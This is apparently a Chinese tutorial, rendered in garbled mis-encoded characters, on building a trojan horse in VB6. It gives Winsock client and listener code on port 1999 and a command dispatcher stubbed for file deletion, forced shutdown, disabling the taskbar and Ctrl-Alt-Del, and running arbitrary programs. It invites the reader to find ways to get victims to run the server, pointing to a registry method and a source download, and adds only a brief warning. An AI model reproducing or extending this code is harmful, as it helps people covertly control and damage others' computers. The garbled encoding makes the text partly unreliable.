淺談?dòng)肰B6.0編寫(xiě)木馬程序

字號(hào):

現(xiàn)在網(wǎng)絡(luò)上流行的木馬軟件基本都是客戶(hù)機(jī)/服務(wù)器模式也就是所謂的C/S結(jié)構(gòu),目前也有一些開(kāi)始向B/S結(jié)構(gòu)轉(zhuǎn)變,在這里暫且不對(duì)B/S結(jié)構(gòu)進(jìn)行詳談,本文主要介紹C/S結(jié)構(gòu)其原理就是在本機(jī)直接啟動(dòng)運(yùn)行的程序擁有與使用者相同的權(quán)限。因此如果能夠啟動(dòng)服務(wù)器端(即被攻擊的計(jì)算機(jī))的服務(wù)器程序,就可以使用相應(yīng)的客戶(hù)端工具客戶(hù)程序直接控制它了。下面來(lái)談?wù)勅绾斡肰B來(lái)實(shí)現(xiàn)它。
     首先使用VB建立兩個(gè)程序,一個(gè)為客戶(hù)端程序Client,一個(gè)為服務(wù)器端程序systry。
     在Client工程中建立一個(gè)窗體,加載WinSock控件,稱(chēng)為tcpClient,協(xié)議選擇TCP,再加入兩個(gè)文本框,用以輸入服務(wù)器的IP地址或服務(wù)器名,然后建立一個(gè)按鈕,按下之后就可以對(duì)連接進(jìn)行初始化了,代碼如下:
    Private Sub cmdConnect_Click()
     If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
     MsgBox ("請(qǐng)輸入主機(jī)名或主機(jī)IP地址。")
     Exit Sub
     Else
     If Len(Text1.Text) > 0 Then
     tcpClient.RemoteHost = Text1.Text
     Else
     tcpClient.RemoteHost = Text2.Text
     End If
     End If
     tcpClient.Connect
     Timer1.Enabled = True
    End Sub
    連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。
    在服務(wù)器端systry工程也建立一個(gè)窗體,加載WinSock控件,稱(chēng)為tcpServer,協(xié)議選擇TCP,在Form_Load事件中加入如下代碼:
    Private Sub Form_Load()
     tcpServer.LocalPort = 1999
     tcpServer.Listen
    End Sub
    準(zhǔn)備應(yīng)答客戶(hù)端程序的請(qǐng)求連接,使用ConnectionRequest事件來(lái)應(yīng)答戶(hù)端程序的請(qǐng)求,代碼如下:
    Private Sub tcpServer_ConnectionRequest
    (ByVal requestID As Long)
     If tcpServer.State < > sckClosed Then
     tcpServer.Close‘檢查控件的 State 屬性是否為關(guān)閉的。
     End If ’如果不是,在接受新的連接之前先關(guān)閉此連接。
     tcpServer.Accept requestID
    End Sub
      這樣在客戶(hù)端程序按下了連接按鈕后,服務(wù)器端程序的ConnectionRequest事件被觸發(fā),執(zhí)行了以上的代碼。如果不出意外,連接就被建立起來(lái)了。
    建立連接后服務(wù)器端的程序通過(guò)DataArrival事件接收客戶(hù)機(jī)端程序所發(fā)的指令運(yùn)行既定的程序。如:把服務(wù)器端的驅(qū)動(dòng)器名、目錄名、文件名等傳到客戶(hù)機(jī)端,客戶(hù)機(jī)端接收后用TreeView控件以樹(shù)狀的形式顯示出來(lái),瀏覽服務(wù)器端文件目錄;強(qiáng)制關(guān)閉或重啟服務(wù)器端的計(jì)算機(jī);屏蔽任務(wù)欄窗口;屏蔽開(kāi)始菜單;按照客戶(hù)機(jī)端傳過(guò)來(lái)的文件名或目錄名,而刪除它;屏蔽熱啟動(dòng)鍵;運(yùn)行服務(wù)器端的任何程序;還包括獲取目標(biāo)計(jì)算機(jī)屏幕圖象、窗口及進(jìn)程列表;激活、終止遠(yuǎn)端進(jìn)程;打開(kāi)、關(guān)閉、移動(dòng)遠(yuǎn)端窗口;控制目標(biāo)計(jì)算機(jī)鼠標(biāo)的移動(dòng)與動(dòng)作;交換遠(yuǎn)端鼠標(biāo)的左右鍵;在目標(biāo)計(jì)算機(jī)模擬鍵盤(pán)輸入,下載、上裝文件;提取、創(chuàng)建、修改目標(biāo)計(jì)算機(jī)系統(tǒng)注冊(cè)表關(guān)鍵字;在遠(yuǎn)端屏幕上顯示消息。DataArrival事件程序如下:
    Private Sub tcpServer_DataArrival
    (ByVal bytesTotal As Long)
     Dim strData As String
     Dim i As Long
     Dim mKey As String
     tcpServer.GetData strData
    ’接收數(shù)據(jù)并存入strData
     For i = 1 To Len(strData)
     ’分離strData中的命令
     If Mid(strData, i, 1) = "@" Then
     mKey = Left(strData, i - 1)
     ’把命令I(lǐng)D號(hào)存入mKey
     ’把命令參數(shù)存入strData
     strData = Right(strData, Len(strData) - i)
     Exit For
     End If
     Next i
     Select Case Val(mKey)
     Case 1
     ‘驅(qū)動(dòng)器名、目錄名、文件名
     Case 2
     強(qiáng)制關(guān)閉服務(wù)器端的計(jì)算機(jī)
     Case 3
     強(qiáng)制重啟服務(wù)器端的計(jì)算機(jī)
     Case 4
     屏蔽任務(wù)欄窗口;
     Case 5
     屏蔽開(kāi)始菜單;
     Case 6
     按照客戶(hù)機(jī)端傳過(guò)來(lái)的文件名或目錄名,而刪除它;
     Case 7
     屏蔽熱啟動(dòng)鍵;
     Case 8
     運(yùn)行服務(wù)器端的任何程序
     End Select
    End Sub
    客戶(hù)機(jī)端用tcpClient.SendData發(fā)命令。命令包括命令I(lǐng)D和命令參數(shù),它們用符號(hào)“@”隔開(kāi)。
    另外,當(dāng)客戶(hù)機(jī)端斷開(kāi)與服務(wù)器端的來(lái)接后,服務(wù)器端應(yīng)用tcpServer_Close事件,來(lái)繼續(xù)準(zhǔn)備接收客戶(hù)機(jī)端的請(qǐng)求,其代碼如下:
    Private Sub tcpServer_Close()
     tcpServer.Close
     tcpServer.Listen
    End Sub
     這就是一個(gè)最基本的特洛伊木馬程序,只要你的機(jī)器運(yùn)行了服務(wù)器端程序,那別人就可以在千里之外控制你的計(jì)算機(jī)。至于如何讓服務(wù)器端程序運(yùn)行就要發(fā)揮你的聰明才智了,在我的源程序中有一中方法,是修改系統(tǒng)注冊(cè)表的方法。 源代碼下載
     成功的特洛伊木馬程序要比這個(gè)復(fù)雜一些,還有程序的隱藏、自動(dòng)復(fù)制、傳播等問(wèn)題要解決。警告:千萬(wàn)不要用來(lái)破壞別人的系統(tǒng)。